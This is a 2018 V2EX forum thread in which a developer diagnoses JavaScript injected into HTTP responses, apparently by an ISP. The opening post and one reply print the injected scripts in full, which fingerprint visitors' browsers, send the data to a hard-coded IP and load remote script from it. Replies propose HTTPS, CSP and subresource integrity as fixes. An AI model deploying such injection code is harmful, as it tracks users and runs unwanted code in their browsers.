V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
推荐关注
Meteor
JSLint - a JavaScript code quality tool
jsFiddle
D3.js
WebStorm
推荐书目
JavaScript 权威指南第 5 版
Closure: The Definitive Guide
AifeiI
V2EX  ›  JavaScript

JS 内容被篡改,代码部署在云服务器,如何跟踪在哪个环节被篡改?

  •  
  •   AifeiI · 2018-02-08 11:59:06 +08:00 · 8659 次点击
    这是一个创建于 2240 天前的主题,其中的信息可能已经有所发展或是发生改变。

    被篡改后的 js:

    
    !
    function(a, b) {
        function c(a) {
            var d, e, f, g, h, i, b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
            for (new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1), f = a.length, e = 0, d = ""; f > e;) {
                if (g = 255 & a.charCodeAt(e++), e == f) {
                    d += b.charAt(g >> 2),
                    d += b.charAt((3 & g) << 4),
                    d += "==";
                    break
                }
                if (h = a.charCodeAt(e++), e == f) {
                    d += b.charAt(g >> 2),
                    d += b.charAt((3 & g) << 4 | (240 & h) >> 4),
                    d += b.charAt((15 & h) << 2),
                    d += "=";
                    break
                }
                i = a.charCodeAt(e++),
                d += b.charAt(g >> 2),
                d += b.charAt((3 & g) << 4 | (240 & h) >> 4),
                d += b.charAt((15 & h) << 2 | (192 & i) >> 6),
                d += b.charAt(63 & i)
            }
            return d
        }
        function d() {
            return - 1 != b.userAgent.indexOf("MSIE") ? "ie": -1 != b.userAgent.indexOf("Chrome") ? "Chrome": -1 != b.userAgent.indexOf("Firefox") ? "Firefox": -1 != b.userAgent.indexOf("Opera") ? "Opera": -1 != b.userAgent.indexOf("Netscape") ? "Netscape": -1 != b.userAgent.indexOf("Safari") ? "Safari": ""
        }
        function e() {
            function e() {
                var a = "",
                c = b.plugins;
                if (c.length > 0) for (k = 0; k < b.plugins.length; k++) a += b.plugins[k].name + ";";
                return a
            }
            var f = b.appName,
            g = b.cookieEnabled,
            h = b.cpuClass,
            i = b.mimeTypes,
            j = b.platform,
            l = b.plugins,
            m = b.userAgent;
            return pStr = "type=" + d() + "&userAgent=" + m + "&appName=" + f + "&cookieEnabled=" + g + "&cpuClass=" + h + "&mimeType_length=" + i.length + "&platform=" + j + "&plugins_length=" + l.length + "&allPluginName=" + e() + "&window_screen_width=" + a.screen.width + "&window_screen_height=" + a.screen.height + "&window_screen_colorDepth=" + a.screen.colorDepth,
            c(pStr)
        }
        function g(a) {
            try {
                var b = new Image;
                b.src = 'http://183.59.53.237:8001/supplies/dot.gif?_b=' + _b + "&_n=" + a + " &_f=" + f + "&_js=https://assets-cdn.github.com/assets/github-857f3c501c8f.js?_t=1518060074842&_r=" + Math.random()
            } catch(c) {}
        }
        var h, i, j, k, l, m, n, f = 0;
        return window.innerWidth ? f = window.innerWidth: document.body && document.body.clientWidth && (f = document.body.clientWidth),
        document.documentElement && document.documentElement.clientWidth && (f = document.documentElement.clientWidth),
        window.self != window.top ? (g("iframe"), void 0) : (h = 0, (/AppleWebKit.*Mobile/i.test(navigator.userAgent) || navigator.userAgent.match(/(iPhone|iPod|iPad|Android|ios|BlackBerry|MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE)/i)) && (h = 1), 600 > f && 0 == h ? (g("pc"), void 0) : (i = e(), k = 0, l = 0, m = "scripts2s", n = document.createElement("script"), n.setAttribute("type", "text/javascript"), n.setAttribute("src", "http://183.59.53.237:8001/pjk/xjk/index.php?b=" + _b + "&pid=" + i + "&c=" + _c), n.id = m, document.body ? document.getElementById(m) || document.body.appendChild(n) : j = setInterval(function() {
            if (k++, 10 == k) return clearInterval(j),
            void 0;
            try {
                document.getElementById(m) || 1 == l ? clearInterval(j) : document.body && (document.body.appendChild(n), l = 1)
            } catch(a) {}
        },
        500), void 0))
    } (window, navigator);
    
    

    除了上 https 还有其它办法?

    第 1 条附言  ·  2018-02-08 13:54:52 +08:00

    补充


    uiq.mlnbike.com <---> 183.59.53.237

    篡改后访问域名就是用2525端口,如果篡改后访问 ip ,则用8001端口,你篡改加广告就算了,写的JS有问题,执行不了(没广告就没绩效),也拿不到我原有内容加载,烦人,怎么投诉

    第 2 条附言  ·  2018-02-11 11:39:08 +08:00
    和小伙伴商量后,让客户申请 CA 证书,启用 HTTPS 协议了
    41 条回复    2018-04-11 20:40:09 +08:00
    yangqi
        1
    yangqi  
       2018-02-08 12:04:01 +08:00
    上 https 也没用,目测是代码有漏洞,这个只能一步步排查
    morethansean
        2
    morethansean  
       2018-02-08 12:14:32 +08:00
    我本来以为就是劫持看了一楼的回复,你是说服务器上的源文件被串改了?
    opengps
        3
    opengps  
       2018-02-08 12:36:43 +08:00
    多数垃圾 js 是 http 协议传输导致在网络传输过程中被注入。
    个别的情况,我遇到过一次,服务器中了一个垃圾广告流氓病毒,对外输出时候就成了带垃圾 js 的。
    如果是 http 中间注入很容易识别,在服务器上,本地访问查看源码即可(条件允许最好是用内网服务器查看),另外就是多几个客户端线路访问下进行对比。 这里顺便聚个现实例子,谴责下长城宽带,我自己的网站,从本地联通到本地长城宽带,就被注入了广告
    7654
        4
    7654  
       2018-02-08 12:38:05 +08:00
    是被劫持了還是云主机被黑了?
    AifeiI
        5
    AifeiI  
    OP
       2018-02-08 13:25:53 +08:00
    @yangqi #1

    @morethansean #2

    @opengps #3

    @7654 #4

    不是服务器文件被篡改,是访问页面时,某一个 js 获取的请求得到的内容被篡改为以上内容(一定几率会遇到),原内容直接访问地址是可以获取到的。
    timothyye
        6
    timothyye  
       2018-02-08 13:32:44 +08:00
    看来得上 https
    just1
        7
    just1  
       2018-02-08 13:32:45 +08:00 via Android
    你先服务器本地访问试试,也出现就排除网络因素
    wrongwaycn
        8
    wrongwaycn  
       2018-02-08 13:38:04 +08:00
    你是不是用了 daovoice?
    AifeiI
        9
    AifeiI  
    OP
       2018-02-08 13:42:10 +08:00
    @wrongwaycn 并没有
    wrongwaycn
        10
    wrongwaycn  
       2018-02-08 13:44:21 +08:00
    那你人在深圳么?
    vghdjgh
        11
    vghdjgh  
       2018-02-08 13:44:55 +08:00 via Android
    subresource integrity
    AifeiI
        12
    AifeiI  
    OP
       2018-02-08 13:47:37 +08:00
    @just1 本地确认过,没有问题
    wrongwaycn
        13
    wrongwaycn  
       2018-02-08 13:48:25 +08:00
    @AifeiI 我现在遇到了和你一样的问题,我的坐标是深圳南山区软件创业基地, 当我以 http 引用所有来自 daovoice 的 js 时, 就会出现如你一样的 js 填入
    AifeiI
        14
    AifeiI  
    OP
       2018-02-08 13:50:21 +08:00
    @wrongwaycn 不在
    wrongwaycn
        15
    wrongwaycn  
       2018-02-08 13:52:05 +08:00
    <script type='text/javascript' src="http://widget.daovoice.io/XXXXXXX.js"></script>
    当我模板中出现这个 js 引入时, 就会被填入 js 代码
    wrongwaycn
        16
    wrongwaycn  
       2018-02-08 13:53:37 +08:00
    这是被填入的 js 内容
    var _ju = "http://widget.daovoice.io/xx.js";_ju += (_ju.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "AH488609";var _c = "111771091_(iKgfV1g6wj8dwKyRiK5N_2069540581_@iKmfiJPNDK9dD6oeiKy6VXTa";
    var N1=document.createElement("script");N1.setAttribute("type","text/javascript"),N1.setAttribute("src",_ju),document.head?document.head.appendChild(N1):document.body&&document.body.appendChild(N1);
    var N2=document.createElement("script");N2.setAttribute("type","text/javascript"),N2.setAttribute("src","http://183.59.53.237:8001/pjk/static/tp.php?b="+_b+"&m="+_ju),document.head?document.head.appendChild(N2):document.body&&document.body.appendChild(N2);
    AifeiI
        17
    AifeiI  
    OP
       2018-02-08 13:58:11 +08:00
    @wrongwaycn 好吧,那就是 ISP 老油条又来年底拉绩效了
    wrongwaycn
        18
    wrongwaycn  
       2018-02-08 14:00:48 +08:00
    其他的外部 js 就不会, daocloud/daovoice 都中招, 我把网络切换到手机热点就不用被注入 js 代码
    AifeiI
        19
    AifeiI  
    OP
       2018-02-08 14:01:06 +08:00
    @vghdjgh 不用 HTTPS 的话,也是没有效果....
    pmispig
        20
    pmispig  
       2018-02-08 14:10:09 +08:00
    应该是 http 被劫持了,不然用 vpn 内网访问试试
    Loyalsoldier
        21
    Loyalsoldier  
       2018-02-08 14:14:06 +08:00
    在服务器响应加一下 CSP 规则就好了
    hcymk2
        22
    hcymk2  
       2018-02-08 14:15:05 +08:00
    试下 Content Security Policy
    AifeiI
        23
    AifeiI  
    OP
       2018-02-08 14:15:42 +08:00
    @pmispig 在这个大环境下,能不用就尽量不用。
    AifeiI
        24
    AifeiI  
    OP
       2018-02-08 14:16:15 +08:00
    @wrongwaycn 估计是电信机房搞的鬼
    AifeiI
        25
    AifeiI  
    OP
       2018-02-08 14:19:41 +08:00
    @Loyalsoldier #21

    @hcymk2 #22

    这是禁止执行,但问题是篡改了原有的 JS 内容,导致项目无法运作,这才是烦心的点。申请 CA 证书还要搞一堆配置,然后就是等,等等,等等
    Loyalsoldier
        26
    Loyalsoldier  
       2018-02-08 14:21:40 +08:00
    @AifeiI #25
    不好意思,没仔细看题。
    只能上 HTTPS 了。先用 Let's Encrypt 证书顶着
    POPOEVER
        27
    POPOEVER  
       2018-02-08 14:23:24 +08:00
    电信劫持吧
    SourceMan
        28
    SourceMan  
       2018-02-08 14:37:50 +08:00
    多大件事,不就是劫持嘛

    上 HTTPS 规避一波。
    opengps
        29
    opengps  
       2018-02-08 15:32:53 +08:00
    @AifeiI 那就毫无疑问了,上 https 让中间劫持者看不懂传输内容来避免这个问题
    blessyou
        30
    blessyou  
       2018-02-08 15:41:18 +08:00 via Android
    坐标深圳,也出现这个问题,插入的 js 地址在梅州...
    pynix
        31
    pynix  
       2018-02-08 15:44:20 +08:00
    劫持。。。
    leefly
        32
    leefly  
       2018-02-08 16:01:56 +08:00
    把 js 当 html 传输,用的时候再转成 js 试试看
    Kakus
        33
    Kakus  
       2018-02-08 20:24:25 +08:00
    应该是运营商的问题,试了用手机开热点和用代理服务器方式访问,都不会出现,换回电信的网就又出来了。打了 10000 号客服投诉了,半小时之后问题没有再重现,估计后台把我们的网站放开了。
    caola
        34
    caola  
       2018-02-09 02:07:23 +08:00
    什么年代了?居然还有不上 https 的网站?。。。
    sdrzlyz
        35
    sdrzlyz  
       2018-02-09 09:09:16 +08:00 via Android
    都 2018 年了,上个 https 很难嘛?
    mandy0119
        36
    mandy0119  
       2018-02-09 10:29:26 +08:00
    运营商吧。
    yexm0
        37
    yexm0  
       2018-02-09 22:49:42 +08:00
    你是深圳电信用户?
    AifeiI
        38
    AifeiI  
    OP
       2018-02-11 11:37:28 +08:00
    @yexm0 广东电信
    WindowPain
        39
    WindowPain  
       2018-02-12 13:22:24 +08:00
    深圳电信。最近总是有弹窗,链接是 syt.mlnbike.com:2525/XXX,跳转去“品库特卖”。
    这个“品库特卖”的链接小尾巴公然写着“?pk_from=dianxin ”……
    linkdesu
        40
    linkdesu  
       2018-04-11 12:03:22 +08:00
    @WindowPain 我最近也是遇到这问题,请问你的解决了吗?
    WindowPain
        41
    WindowPain  
       2018-04-11 20:40:09 +08:00
    @linkdesu 不在深圳了。运营商劫持,估计除了投诉外,只能等网站部署 https 了吧。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   4717 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 10:01 · PVG 18:01 · LAX 03:01 · JFK 06:01
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.